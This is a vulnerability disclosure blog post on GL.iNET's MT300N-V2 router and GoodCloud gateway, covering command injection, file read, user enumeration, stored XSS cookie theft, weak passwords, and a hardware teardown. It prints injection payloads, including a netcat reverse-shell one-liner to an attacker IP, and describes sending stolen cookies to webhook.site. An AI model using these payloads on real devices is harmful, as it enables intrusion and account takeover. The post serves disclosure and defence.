In my spare time, I’ve developed a keen interest in reverse engineering affordable and unconventional IoT devices. During an online shopping spree in early May 2022, I procured around 15 budget-friendly IoT gadgets from platforms like Amazon and AliExpress. Among these was a compact portable router from GL.iNET, a company recognized for its OpenWrt Wi-Fi and IoT network solutions. To my understanding, GL.iNET is a Chinese company with operations in Hong Kong and the USA, offering a diverse product range accessible through their official website: www.gl-inet.com. My investigation focused on the GL-MT300N-V2 firmware, specifically version V3.212
for the Mango model, released on April 29th, 2022. Additionally, I examined the goodcloud remote cloud management gateway, version 1.00.220412.00
.
This article is structured in two parts. The first section details software vulnerabilities found within both the local web application and the remote cloud peripherals. The second part describes my attempts at a hardware teardown of the device.
It’s important to acknowledge the positive engagement from GL.iNET throughout this process. Their team showed a genuine commitment to product security and maintained open communication during patching and disclosure. I commend them for their responsiveness and dedication to improving their security posture.
My testing period extended intermittently from May 2nd to June 15th, 2022. Following my initial report of a command injection vulnerability, GL.iNET inquired about potential compensation for identifying further issues. We ultimately agreed on public disclosure and this blog post in exchange for continued testing access. This arrangement allowed me to proceed with my research in good faith. Furthermore, GL.iNET provided me with a (GL-AX1800 / Flint) router for additional testing. It should be noted that GL.iNET does not have a formal Bug Bounty Program (BBP) or Vulnerability Disclosure Program (VDP). I explicitly requested and received permission to conduct these tests. Therefore, it’s crucial to exercise caution and seek explicit authorization before probing their infrastructure to avoid any unintended disruption.
Vulnerability disclosures should be viewed as opportunities for growth, not setbacks. Security and development are inherently iterative processes. Innovation and change, the cornerstones of progress, will inevitably lead to vulnerabilities in all products.
Vulnerability Summary
In total, six vulnerabilities were discovered in GL.iNET routers and their associated IoT cloud gateway web applications:
1. OS Command Injection on router & cloud gateway (CVE-2022-31898) 2. Arbitrary file read on router via cloud gateway (CVE-2022-42055) 3. PII data leakage via user enumeration leading to account takeover 4. Account takeover via stored cross-site scripting (CVE-2022-42054) 5. Account takeover via weak password requirements & lack of rate limiting 6. Password policy bypass leading to single character passwords
Web Application Vulnerabilities
OS Command Injection
The MT300N-V2 portable router is susceptible to an OS Command Injection vulnerability. This flaw enables authenticated attackers to execute arbitrary commands on the system with the privileges of the application user. This vulnerability is present in both the local web interface and the remote cloud interface. The root cause is insufficient input validation of the ping_addr
and trace_addr
parameters used in ping and traceroute functionalities. This vulnerability affects ALL GL.iNET product firmware versions prior to 3.2.15.
The vulnerability was addressed in firmware Version 3.215
, stable build SHA256: 8d761ac6a66598a5b197089e6502865f4fe248015532994d632f7b5757399fc7
.
Vulnerability Details
CVE ID: CVE-2022-31898 Access Vector: Remote/Adjacent Security Risk: High Vulnerability: CWE-78 CVSS Base Score: 8.4 CVSS Vector: CVSS:3.1/AV:A/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H
Let’s delve into the discovery process. The file /www/src/router/router.js
plays a crucial role in managing the application panels. Think of it as the central endpoint reference that orchestrates various features and functionalities. As illustrated below, the path
parameter directs to the endpoint that houses the router feature’s code on disk. When an endpoint like /attools
is accessed, its corresponding .js
, .html
, and .css
files are loaded onto the page.
Through this endpoint analysis, I quickly realized that many of these panels were not directly accessible via the web UI’s sidebar menu.
The GL.iNET router’s web interface showing the sidebar menu.
Despite their absence from the sidebar, the underlying functionality of these endpoints remained active and correctly configured. They simply lacked a visible “button” or action within the standard web application interface to navigate to them.
Here’s a comprehensive list of endpoints that are not accessible through standard web UI actions:
http://192.168.8.1/#/ping <-------- Vulnerable http://192.168.8.1/#/apitest http://192.168.8.1/#/attools http://192.168.8.1/#/smessage http://192.168.8.1/#/sendmsg http://192.168.8.1/#/gps http://192.168.8.1/#/cells http://192.168.8.1/#/siderouter http://192.168.8.1/#/rs485 http://192.168.8.1/#/adguardhome http://192.168.8.1/#/sms http://192.168.8.1/#/log http://192.168.8.1/#/process http://192.168.8.1/#/blelist http://192.168.8.1/#/bluetooth
It’s worth noting that some of these endpoints become available dynamically when modems or other peripheral devices are connected to the router. For more detailed information, refer to the official documentation at https://docs.gl-inet.com/.
As highlighted above, the /ping
endpoint exists. From past experience, ping functionalities often present interesting security considerations. This endpoint provides the standard ping and traceroute utilities. Let’s confirm that these files are indeed present and that /ping
actions are invoked as defined in the router.js
file.
The expected usage and output of the ping functionality are shown below.
The ping tool interface in the GL.iNET router’s web application.
What exactly is OS Command Injection? It’s a common vulnerability found in such endpoints. It’s typically exploited by using command operators (like |
, &&
, ;
, etc.) to execute multiple commands sequentially, regardless of the success or failure of preceding commands.
Looking back at the ping interface, the user interface (frontend) attempts to sanitize user-provided input using a regular expression designed to validate IPv4 addresses. This is a typical approach for input validation.
The regular expression used for input validation in the ping functionality.
Consequently, the semicolon character (;
) is not a valid IPv4 character. When the pingIP()
check is executed, any input containing invalid characters will fail the request.
This results in the following error message displayed to the user.
Error message displayed when invalid characters are entered in the ping input field.
To bypass this front-end input sanitization, we can directly send our POST request to the web server using a tool like Burp Suite. This allows us to modify the POST request without being restricted by the front-end validation. As mentioned earlier, by using the semicolon (;
) command separator, we should be able to inject commands through the ping_addr
or trace_addr
parameters. To clarify this, consider the following visual representation.
Image Credit: I‘m on Your Phone, Listening – Attacking VoIP Configuration Interfaces
Let’s put this to the test. Looking at the POST request below, the ping_addr
value is set to ;/bin/pwd%20
. This command successfully returned the present working directory of the application user, confirming successful OS Command Injection.
Burp Suite showing a successful OS command injection using the ping_addr parameter.
Now, let’s perform the classic command injection test: reading the /etc/passwd
file. We can achieve this by injecting the following input: ;/bin/cat /etc/passwd 2>&1
.
To escalate this further, let’s attempt to get a reverse shell.
Payload: ;rm /tmp/f;mknod /tmp/f p;cat /tmp/f|/bin/sh -i 2>&1|/usr/bin/nc 192.168.8.193 4000 >/tmp/f URL encoded: ;rm%20/tmp/f;mknod%20/tmp/f%20p;cat%20/tmp/f|/bin/sh%20-i%202%3E%261|/usr/bin/nc%20192.168.8.193%204000%20>%20tmp%20f
Successful reverse shell established via OS command injection.
While effective, this attack scenario has limitations. It requires authentication, being on the same network, and so on. However, the significance of this vulnerability extends beyond local attacks because GL.iNET devices can be configured to use the vendor’s IoT cloud gateway. This cloud gateway enables remote deployment and management of connected IoT gateways.
The GL.iNET GoodCloud management interface.
I discovered that approximately ~30,000
devices are configured in this manner. A key feature of this cloud management portal is the ability to remotely access your device’s admin panel through a public-facing endpoint, as shown below.
Remote access to the GL.iNET router admin panel via GoodCloud.
As anticipated, command injection is also possible through this remote endpoint.
Theoretically, an attacker who can hijack goodcloud.xyz user sessions or compromise a user account (both of which were achieved during this research, as detailed later) could leverage this vulnerability to gain a foothold and potentially compromise entire networks.
Further malicious actions possible through command injection include:
Scan internal network: GET /cgi-bin/api/repeater/scan Obtain WiFi password of joined SSID's GET /cgi-bin/api/repeater/manager/list Obtain WiFi password of routers SSID's GET /cgi-bin/api/ap/info
Disclosure Timeline
May 2, 2022: Initial discovery
May 2, 2020: Vendor contacted
May 3, 2022: Vulnerability reported to the vendor
May 10, 2022: Vulnerability confirmed by the vendor
July 6, 2022: CVE reserved
July 7, 2022: Follow up with the vendor
October 13, 2022: Fixed in firmware 3.215
Arbitrary File Read
The MT300N-V2 portable router, when configured with the vendor’s cloud management gateway (goodcloud.xyz), is vulnerable to an Arbitrary File Read vulnerability. The remote cloud gateway is designed for remote device access and management, with this specific vulnerability residing within the cloud manager web interface and affecting enterprise users. The device editing interface’s tools section includes ping and traceroute functionalities that are susceptible to a limited form of command injection. This restricted injection allows for arbitrary file reads but not full command execution. Successful exploitation permits an attacker to access sensitive files and data on the router, potentially including application source code, configurations, and critical system files.
Vulnerability Details
CVE ID: CVE-2022-42055 Access Vector: Remote Security Risk: Medium Vulnerability: CWE-23 & CWE-25 CVSS Base Score: 6.5 CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
Enterprise users have access to a “TOOLS” menu when editing their devices within the cloud management interface, as shown below.
The “TOOLS” menu in the GL.iNET GoodCloud enterprise device management interface.
Both the ping_addr
and trace_addr
parameters can be exploited to read arbitrary files. Prepending ;/bin/sh%20
to the desired file path allows reading any file on the disk.
The precise reason for this behavior is unclear. Full command injection was not achievable, possibly due to how ping
and traceroute
are invoked within busybox, potentially through an ngrok-like tunnel. Standard delimiters or escape characters to comment out the rest of the operation were ineffective. Valid payloads for file reading take the following forms:
;bin/sh%20/<path_to_file> &bin/sh%20/</path_to_file>
As a proof of concept, I created a flag.txt
file in /tmp
on my router and successfully read its contents from the cloud gateway. Crucially, this vulnerability could be used to read sensitive files like passwd
and shadow
. Offline cracking of these files would grant access to both the cloud SSH terminal and the web login interface.
Successful arbitrary file read via the GoodCloud interface, reading the content of flag.txt.
Interestingly, this action is logged within the cloud gateway logs, making it less than ideal from an “OPSEC” perspective.
Disclosure Timeline
May 25, 2022: Initial discovery
May 25, 2022: Vendor contacted & vulnerability reported
May 26, 2022: Vendor confirms vulnerability
July 7, 2022: Follow up with the vendor
October 13, 2022: Fixed in firmware 3.215
PII Data Leakage & User Enumeration
The MT300N-V2 router, when integrated with the vendor’s cloud management gateway (goodcloud.xyz), which facilitates remote access and management, is vulnerable to PII Data Leakage and User Enumeration. This vulnerability exists in the cloud manager web interface via the /cloud-api/cloud/user/get-user?nameoremail=
GET request within the device-sharing endpoint. Successful user enumeration leads to the disclosure of the user’s Personally Identifiable Information (PII). Essentially, this is a variant of an Insecure Direct Object Reference (IDOR) vulnerability. This vulnerability affected goodcloud.xyz prior to May 12th, 2022.
Vulnerability Details
CVE ID: N/A Access Vector: Network Security Risk: Medium Vulnerability: CWE-200 & CWE-203 CVSS Base Score: 6.5 CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
Approximately ~30,000
users were enumerated using their usernames or email addresses. Successful enumeration compromised user confidentiality by revealing sensitive information that could be exploited by attackers to compromise account credentials.
This attack is initiated after creating a standard goodcloud.xyz
cloud gateway account and linking a GL.iNET device. The image below shows the device sharing feature, allowing sharing with another registered user.
The device sharing feature within the GL.iNET GoodCloud interface.
The request and response involved in sharing a device with another user are shown below.
Executing the get-user
request against an existing user discloses the following account information:
- company name - account creation time - credential's salt (string+MD5) - account email - account user ID - last login time - nickname - password hash (MD5) - phone number - password salt (MD5) - secret key - security value (boolean) - status value (boolean) - account last updated time - application user id - username
The password appears to be MD5 HMAC, but the exact formatting and order are unknown and were deemed unnecessary to determine. However, with the disclosed information, the likelihood of deriving the correct combination is considerably high. An example of data retrieval is shown below.
User information disclosed via the
/cloud-api/cloud/user/get-user
endpoint.
Furthermore, no rate-limiting mechanisms were in place for device sharing. This absence made it relatively easy to enumerate a significant portion of valid application users using tools like Burp Suite Intruder.
Burp Suite Intruder being used to enumerate users on the GoodCloud platform.
Another observation, not confirmed with the vendor and therefore speculative, was that not every user had a secret
value associated with their account. It’s suspected that this secret code might be used for the 2FA QR code generation mechanism. The potential URL structure could resemble:
This remains purely speculative.
The GL.iNET team responded swiftly to remediate this issue. A fix was implemented in less than 12 hours after reporting, as shown below.
Confirmation of the PII Data Leakage & User Enumeration vulnerability fix.
Disclosure Timeline
May 11, 2022: Initial discovery
May 11, 2022: Vendor contacted & vulnerability reported
May 11, 2022: Vendor confirms vulnerability
May 12, 2022: Vendor patched the vulnerability
Stored Cross-Site Scripting
The MT300N-V2 portable router, when connected to the remote cloud management configuration gateway (goodcloud.xyz), allowing remote management of linked IoT devices, is vulnerable to Stored Cross-Site Scripting (XSS). Multiple user input fields lack proper sanitization of user-supplied input, making the application susceptible to stored XSS attacks. Exploiting this vulnerability against an enterprise account through “Sub Account” invitations can lead to account takeover of invited sub-accounts.
Vulnerability Details
CVE ID: CVE-2022-42054 Access Vector: Network Security Risk: Medium Vulnerability: CWE-79 CVSS Base Score: 8.7 CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:N/A:H
Vulnerable input fields are located in the “Group Lists” panel, where users can create and modify groups.
The “Group Lists” panel in the GL.iNET GoodCloud interface, highlighting vulnerable fields.
The vulnerable fields are “Company” and “Description”. Proof-of-concept payloads used were:
<img alt="" src="http://x"></img> or <img alt="" src="http://x"></img>
Once a group is saved with these payloads, the XSS triggers whenever a user logs in, switches regions (Asia Pacific, America, Europe), logs in again, or switches organizations.
This occurs because of a listQuery
key that checks for {"pageNum":"","pageSize":"","name":"","company":"","description":""}
, and our XSS payload is stored and referenced within the “company” name and “description” fields, causing the XSS to execute.
XSS triggering within the GoodCloud interface due to stored payloads in group details.
Can this be exploited maliciously? Not with regular user accounts in a straightforward manner. However, with enterprise accounts, it becomes a viable attack vector for account takeover. For regular accounts, the only potential exploitation method would be sharing a device with a maliciously named “company” and “description” with another user.
Even with the patch for the PII and User Enumeration vulnerability, enumerating userID
s is still possible. This allows sending shared device invitations to specific users. An attacker with a regular user account could create a group with malicious “company” or “description” names like <img alt="" src="http://x"></img>
and then invite a victim to that group. Upon the victim’s login, the attacker could potentially steal their session. However, for regular user accounts, this scenario is limited.
If device sharing occurs from boschko
(attacker) to boschko1
(victim), the sequence would be: boschko
creates a malicious group and invites boschko1
. The victim, boschko1
, logs in and receives the invitation from boschko
, as shown below.
Invitation to join a group within the GoodCloud interface.
However, when boschko1
signs out and back in, the XSS does not trigger. This is because there’s a distinction between being a member of a shared group (invited by another user) and being the owner (creator of the group), as illustrated below.
Difference in group ownership and permissions within GoodCloud.
Users in a shared group do not have the malicious fields of the group translated to their frontend interface.
HOWEVER! For business/enterprise accounts, or users logged in as business/enterprise users, this stored XSS can be leveraged to hijack user sessions. This is due to features exclusive to business users.
Enterprise features in the GL.iNET GoodCloud interface, including “Sub Accounts”.
Business features include “Sub Accounts,” allowing enrollment of staff/employees into the management console/organization. When a user accepts a “subAccount” invitation, they become a staff/employee within the organization. This enables stealing their session cookies after login, as they become owners of the malicious group by association.
The Sub Account panel interface is shown below.
The functionality is generally self-explanatory. Inviting a user via their email address sends the following invitation email.
Email invitation to join a business account on GoodCloud.
Let’s break down the attack scenario clearly:
- User A (attacker):
boschko
(red highlights). - User B (victim):
boschko1
(green highlights).
- Step 1:
boschko
creates a malicious company with XSS in the company name and description. - Step 2:
boschko
invitesboschko1
to the malicious company. - Step 3: Steal
boschko1
‘s cookies and use them to log in asboschko1
.
Below is user information for boschko
, who owns the company/organization “test” and the “Group List” “happy company” within the “test” organization.
User information for the attacker account ‘boschko’ in GoodCloud.
boschko1
receives and accepts an invitation email from boschko
, becoming enrolled in boschko
‘s “test” organization with “Deployment Operator” access.
Logged in as boschko1
, the user sees two “workspaces”: their personal boschko1 (mine)
and the invited “test” workspace.
When boschko1
is signed into their personal workspace, device sharing poses no XSS risk.
The personal workspace of user ‘boschko1’ in GoodCloud.
However, when boschko1
switches to the “test” organization owned by boschko
using “Switch Teams,” the malicious “company” and “description” fields are properly referenced and triggered during the listQuery
action.
The stored XSS in the malicious “test” company, within the “company” and “description” fields of the “happy company” Group List, triggers when boschko1
is signed into boschko
‘s “test” organization.
XSS triggering when user ‘boschko1’ switches to the malicious ‘test’ organization.
From the malicious boschko
user account, a group is created with the following malicious “company” and “description” names:
<img alt="" src="http://x"></img>
We can use webhook.site (for convenience, instead of setting up a dedicated server) to capture the stolen cookies of boschko1
.
By logging boschko1
into the “test” organization owned by boschko
, the malicious JavaScript in the “company” and “description” fields sends the cookies to the webhook URL.
Webhook.site setup to capture stolen cookies.
As shown below, requests containing boschko1
‘s session cookies are received by the webhook.
Stolen session cookies captured via webhook.site.
Using these stolen boschko1
session cookies, the account can be fully hijacked.
Successful account takeover using stolen session cookies.
The GL.iNET team addressed this issue by July 15th with robust filtering mechanisms.
Attempts to bypass the patch using U+FF1C and U+FF1E, keyword filtering variations, substrings, and array methods were unsuccessful.
Disclosure Timeline
May 12, 2022: Initial discovery
May 12, 2022: Vendor contacted & vulnerability reported
May 13, 2022: Vendor confirms vulnerability
May 19, 2022: Contact vendor about enterprise user impact
July 7, 2022: Follow up with the vendor
July 15, 2022: Vendor patched the vulnerability
Weak Password Requirements & No Rate Limiting
The MT300N-V2 portable router, when connected to the remote cloud management configuration gateway (goodcloud.xyz) with accounts created via goodcloud.xyz, is susceptible to account takeover due to weak password requirements and lack of rate limiting. The goodcloud.xyz login process lacked rate limiting, and user passwords only required a minimum of 6 characters without enforcing complexity requirements like special characters or capitalization. This combination made brute-forcing user accounts exceptionally easy.
Vulnerability Details
CVE ID: N/A Access Vector: Network Security Risk: Medium Vulnerability: CWE-521 CVSS Base Score: 9.3 CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N
As shown below, during account creation on goodcloud.xyz
, passwords only needed to be at least 6 characters long, with no requirements for capitalization or special characters.
Password creation form on GoodCloud showing weak password requirements.
Furthermore, the absence of rate limiting on login attempts allowed for trivial user spraying and brute-forcing using tools like Burp Suite Intruder.
Below is an example of successfully obtaining the password of a sprayed user.
Successful password brute-force attack due to weak password policy and no rate limiting.
In total, passwords for 33 application users were recovered during testing. These credentials were not tested for UI login for ethical reasons, and all data was reported to the GL.iNET team.
Disclosure Timeline
May 18, 2022: Initial discovery
May 24, 2022: Vendor contacted & vulnerability reported
May 24, 2022: Vendor confirms vulnerability
June 7, 2022: Vendor implements rate-limiting, patching the vulnerability
Password Policy Bypass
The MT300N-V2 portable router, when connected to the remote cloud management configuration gateway (goodcloud.xyz), is vulnerable to a password policy bypass. While password complexity requirements were implemented on the initial signup page, they were not consistently applied to the password reset page. Combined with the previous lack of rate limiting, this inconsistency significantly weakened the security posture of affected users.
Vulnerability Details
CVE ID: N/A Access Vector: Network Security Risk: Medium Vulnerability: CWE-521 CVSS Base Score: 6.7 CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:N/A:N
The password reset policy was inconsistent with the registration and password change policies. This allowed bypassing the 6-character password requirement, even permitting single-character passwords. Best practices dictate that applications should validate passwords to include alphanumeric and special characters with a minimum length of around eight characters. Additionally, preventing users from reusing previously used passwords is recommended.
As shown below, the UI password change process includes client-side checks to enforce the password policy.
Client-side password policy enforcement in the password change interface.
However, by intercepting the request in Burp Suite, the password can be manually changed to a single character.
The request above was successfully submitted, setting the password for the boschko
user to “1”. The login request below shows successful login with this single-character password.
Successful login using a single-character password after policy bypass.
Disclosure Timeline
May 26, 2022: Initial discovery
May 26, 2022: Vendor contacted & vulnerability reported
May 26, 2022: Vendor confirms vulnerability
July 7, 2022: Follow up with the vendor
July 15, 2022: Vulnerability has been patched
Additional Interesting Findings
Several interesting observations were made that are not classified as vulnerabilities but are worth noting.
Before discussing these, it’s important to briefly understand ACL (Access Control List) configurations. Proper access control over rpc
(Remote Procedure Call) invocations is crucial for application security. These methods should be strictly managed. For more information, refer to the Ubus-Wiki.
After installing OpenWrt, the application generates a list of rpc
invocation methods for OpenWrt, defined in the ACL configuration file /usr/share/rpcd/acl.d/luci-base.json
. A snippet of this file is shown below.
... "luci-access": { "description": "Grant access to basic LuCI procedures", "read": { "cgi-io": [ "backup", "download", "exec" ], "file": { "/": [ "list" ], "/*": [ "list" ], "/dev/mtdblock*": [ "read" ], "/etc/crontabs/root": [ "read" ], "/etc/dropbear/authorized_keys": ["read"], "/etc/filesystems": [ "read" ], "/etc/rc.local": [ "read" ], "/etc/sysupgrade.conf": [ "read" ], "/etc/passwd": [ "read" ], "/etc/group": [ "read" ], "/proc/filesystems": [ "read" ], ... "write": { "cgi-io": [ "upload" ], "file": { "/etc/crontabs/root": [ "write" ], "/etc/init.d/firewall restart": ["exec"], "/etc/luci-uploads/*": [ "write" ], "/etc/rc.local": [ "write" ], "/etc/sysupgrade.conf": [ "write" ], "/sbin/block": [ "exec" ], "/sbin/firstboot": [ "exec" ], "/sbin/ifdown": [ "exec" ], ...
While not being an expert, these methods appear to be well-defined. File namespace methods are not simply “allow all” (( "file": [ "*" ] )
), which would constitute a vulnerability.
rpcd
also has a defined user in /etc/config/rpcd
that can be used for the management interface. This user is used to execute code through numerous rpcd
exposed methods.
rpcd configuration file showing defined user credentials.
Using these credentials, it’s possible to log in and obtain a large number of callable methods and a ubus_rpc_session
.
Successful login to rpcd and obtaining a ubus_rpc_session.
As shown, this ubus_rpc_session
value is used to call other methods defined in ACL configuration files.
While it might seem like potential Remote Code Execution (RCE) is possible, /etc/passwd
is specifically defined with read primitives within the luci-base.json
ACL config file.
ACL configuration showing read permissions for /etc/passwd.
Attempting to read other files results in a failed operation, as expected.
Failed attempt to read a file other than /etc/passwd, due to ACL restrictions.
This behavior, while not a vulnerability, was considered an interesting observation.
Hardware Teardown
Let’s shift focus to the intended hardware hacking aspect of this project. The GL-MT300N router has a straightforward design:
It features a USB port, two Ethernet ports (LAN & WAN), a reset button, and a mode switch. Let’s disassemble it to examine the internal hardware components.
Internal components of the GL.iNET MT300N-V2 router after teardown.
Immediately visible are key components: a System on a Chip (SoC), SPI flash memory, and SD RAM. A serial port and what appears to be JTAG and almost certainly UART are also present.
Chipset analysis reveals a MediaTek MT7628NN chip, described as a “router on a chip.” The datasheet confirms it as the CPU, supporting entry-level AP/router requirements.
The chip diagram shows UART, SPI, and I2C communication support, essential for data transfer. This confirms the chip has a serial console potentially usable for debugging and accessing a system shell.
The second chip is a Macronix MX25L12835F SPI (serial flash chip). This is crucial for firmware extraction as serial flash typically stores configuration settings, file systems, and firmware in devices lacking other storage. No other storage device is apparent on the board.
The third chip is an Etron Technology EM68C16CWQG-25H SD RAM, used as the device’s working memory during operation.
Connecting to UART
Let’s briefly explain UART. UART (Universal Asynchronous Receiver/Transmitter) is used for serial data communication between devices. It’s used for firmware updates, debugging, and interacting with the underlying system, similar to opening a terminal in Linux. UART communication uses two wires: a transmitter (TX) and a receiver (RX).
The receiver (RX) and transmitter (TX) pins must connect to the corresponding TX and RX pins of another UART device to establish communication. Fortunately, I have a Flipper Zero which will be used for this purpose.
The Flipper Zero device being used for UART communication.
For a more in-depth explanation of UART, refer to my previous blog post on hacking a fertility sperm tester. We’ll connect the Flipper Zero to the router’s UART connection as shown below.
The resulting connection setup is depicted below.
Flipper Zero connected to the UART interface of the GL.iNET router.
As a Mac user, connecting the Flipper Zero via USB “mounts” it as /dev/cu.usbmodemflip*
. To connect, use the command below.
After running the screen
command and powering on the router, serial output confirms successful UART connection.
UART output showing root shell access obtained via serial connection.
As seen, a root shell was obtained. Unprotected root access via UART is technically a vulnerability CWE-306. UART access provides direct root shell access and an unauthenticated Das U-Boot BIOS shell. While less common now, UART is often secured in production devices. However, exploitation requires physical access, opening the device, and wiring connections to RX, TX, and GND pads on the logic board. GL.iNET is aware of this and, to my knowledge, does not plan to patch it, which is understandable given the limited “real-world” impact.
I’ll briefly address the debate about unprotected UART CVEs. The attack requires physical device access, likely within a secure networking equipment room, potentially under CCTV surveillance. The attacker must also attach a USB-to-UART adapter to the PCB for console access. Given the physical dismantling required, classifying this as a serious manufacturer oversight is debatable. While not ideal, such considerations are often at the vendor’s discretion. Furthermore, even with UART console disabling or pad removal, workarounds exist.
Personally, I believe hardware manufacturers should disable hardware debugging interfaces in commercial devices. Failure to do so, while not best practice, may not warrant a CVE.
Returning to the teardown, if UART access was unsuccessful, obtaining a shell from U-Boot would be a likely alternative. Numerous techniques exist for shell access from U-Boot, two of which are covered in my previous blog post, Thanks Fo’ Nut’in – Hacking YO’s Male Fertility Sperm Test, and will not be repeated here.
U-Boot bootloader interface accessible via UART.
Leveraging the SPI Flash
Even with the serial console enabled, if it were disabled or U-Boot shell access failed, extracting firmware from the SPI flash chip becomes the next step.
The goal is straightforward: read the firmware from the chip. Options include using universal bus interface clips, desoldering the chip for connection to an EPROM reader/writer, or using a Protoboard. Using SOIC8 clips is preferred over hook clips.
A hardware tool capable of SPI interface interaction is needed. The Attify Badge is a good option due to its efficiency and support for SPI, UART, JTAG, I2C, GPIO, and other interfaces. Alternatives include professional EPROM programmers, Bus Pirate, BeagleBone, Raspberry Pi, etc.
The datasheet for the Macronix MX25L12835F flash provides the pinout.
Pinout diagram for the Macronix MX25L12835F SPI flash chip.
Connect the Attify badge to the chip according to the diagram below.
Attify badge connected to the SPI flash chip using SOIC8 clip.
Unfortunately, after two nights of attempting to dump the firmware, no success was achieved. The Bus Pirate, Shikra, Attify, and a BeagleBone Black were tested, but none worked. Flashrom failed to read data or even identify the chip, which was unexpected. Pinouts were re-verified against the datasheet, and flashrom does support this chip.
Firmware dump attempts resulted in the following error.
Flashrom error message during firmware dumping attempt.
The suspected cause is SPI bus contention. The MediaTek MT7628NN chip is already communicating on the SPI bus, and adding a second master connection (Attify badge) creates a conflict, preventing our device from taking precedence. Intercepting, shorting, or stopping the MCU communication to make the Attify badge the master proved unsuccessful. Holding the reset button during flash reading, hoping for timing luck, also failed after extensive attempts. The Attify badge, already powered on, might theoretically take precedence and halt MCU mastering, but this was not achievable. Approximately 8 hours were spent trying various hardware (Pi, BeagleBone, Attify, BusPirate) without success. Using a MacBook Pro with USB adapters may have also contributed to the issues.
Hardware setup for on-chip firmware dumping using SOIC8 clip and Attify badge.
Facing no other on-chip options, “off-chip” firmware extraction was attempted. Desoldering the SPI chip and using a chip reprogrammer to read its contents was the next approach.
A basic, suboptimal setup with a loose heat gun (no fixed hot air station or PDC mount) was used.
Desoldering the SPI flash chip using a heat gun.
The goal was to apply enough heat to melt solder joints and remove the chip with tweezers without damaging components. This is challenging with a basic setup. Differential heating can be problematic. Applying hot air to a PCB at room temperature diffuses heat to colder areas, making targeted heating difficult. Increasing heat to compensate is risky.
Increased thermal stress and temperature gradients across the board can cause uneven thermal expansion, leading to mechanical stress, board damage, and component shifting. This setup was prone to such errors due to lack of heat gun mounting and temperature control. High-temperature tape to protect surrounding components was also not used.
Despite these limitations, a preheating temperature of 250°C was deemed sufficient for small components.
After several minutes, the chip was removed. However, a small shielded inductor or resistor shifted due to heat during SPI chip removal. Re-soldering this component was unsuccessful, and its impact is not fully understood without EE expertise.
The SPI chip was then mounted onto a SOP8 socket connected to a reprogrammer. The memory orientation in the adapter is shown below.
SPI flash chip mounted on a SOP8 socket for off-chip programming.
This basic reprogrammer required disabling driver signing and manually installing a driver to recognize the USB connection. Chip options were configured for Macronix MX25L12835F.
Chip programmer software interface configured for Macronix MX25L12835F.
However, this method also failed to read the chip contents. Another ~5 hours were spent debugging. Suspecting a faulty SOP socket clip, the chip was soldered onto a board and relayed to the reprogrammer, but the results remained the same.
Soldered SOP8 socket setup for chip programming attempt.
Eventually, the SPI chip was re-soldered to the main router PCB, resulting in a fully bricked device. The precise step or error leading to device bricking is unclear.
Despite the failure of hardware hacking objectives, the experience is seen as a learning opportunity.
Remembering squashfs information from UART logs, firmware reversal is still possible. Unsigned firmware is available from the vendor’s website here. The steps for filesystem access after successful firmware extraction are shown below.
Steps for extracting and mounting squashfs filesystem from firmware image.
Checking for hardcoded credentials in the firmware reveals none.
The final observation is an extra data block at the end of the UBI reader image, potentially containing readable code.
UBI reader output showing potential extra data block at the end of the image.
This purchase, intended for hardware hacking exploration, did not fully achieve its objectives. To compensate, closing thoughts on IoT hardware security are shared.
Regarding “how vendors can prevent basic IoT hardware vulnerabilities and if it’s worthwhile,” the answer is yes to both. Adding extra layers of protection or basic obfuscation is beneficial in mitigating developer errors. Hardware obfuscation, implemented early in product development, can be more effective than software controls added later.
Here are some remediation ideas for enhancing IoT hardware security:
-
Remove PCB silkscreen markings: Eliminate marks, logos, symbols, and detailed board drawings, especially in production devices.
-
Hide traces: Make traces less obvious by obscuring the solder mask (light green parts on PCBs).
Example of PCB traces and silkscreen markings.
-
Hardware-level tamper protection: Utilize hardware and software fuses to prevent readout (though bypasses exist).
-
Remove test pins and probe pads: Eliminate debugging connections on production devices, as remote firmware updates are usually the primary fix for malfunctions.
Example of test points and debugging headers on a PCB.
- Use buried or blind vias: If vias are used as test points, employ buried or blind vias to make probing more difficult. Additional PCB layers for this are relatively inexpensive.
Cross-section of a PCB showing buried and blind vias.
- Remove chipset markings: Chip identification becomes significantly harder and more time-consuming without markings.
Example of chip markings on a semiconductor package.
- Employ tamper-proof cases, sensors, or one-way screws: These measures, while bypassable, increase attacker motivation hurdles. Opening devices in controlled environments becomes necessary.
For further reading on hardware obfuscation, consider these publications:
1. https://arxiv.org/pdf/1910.00981.pdf 2. https://swarup.ece.ufl.edu/papers/J/J48.pdf
Summary:
I hope you found this blog post insightful. Follow me on Twitter for more updates. This project was a lot of fun! I highly recommend purchasing various IoT devices from online marketplaces and experimenting with hardware teardowns – you never know what you might discover.
Thank you for reading!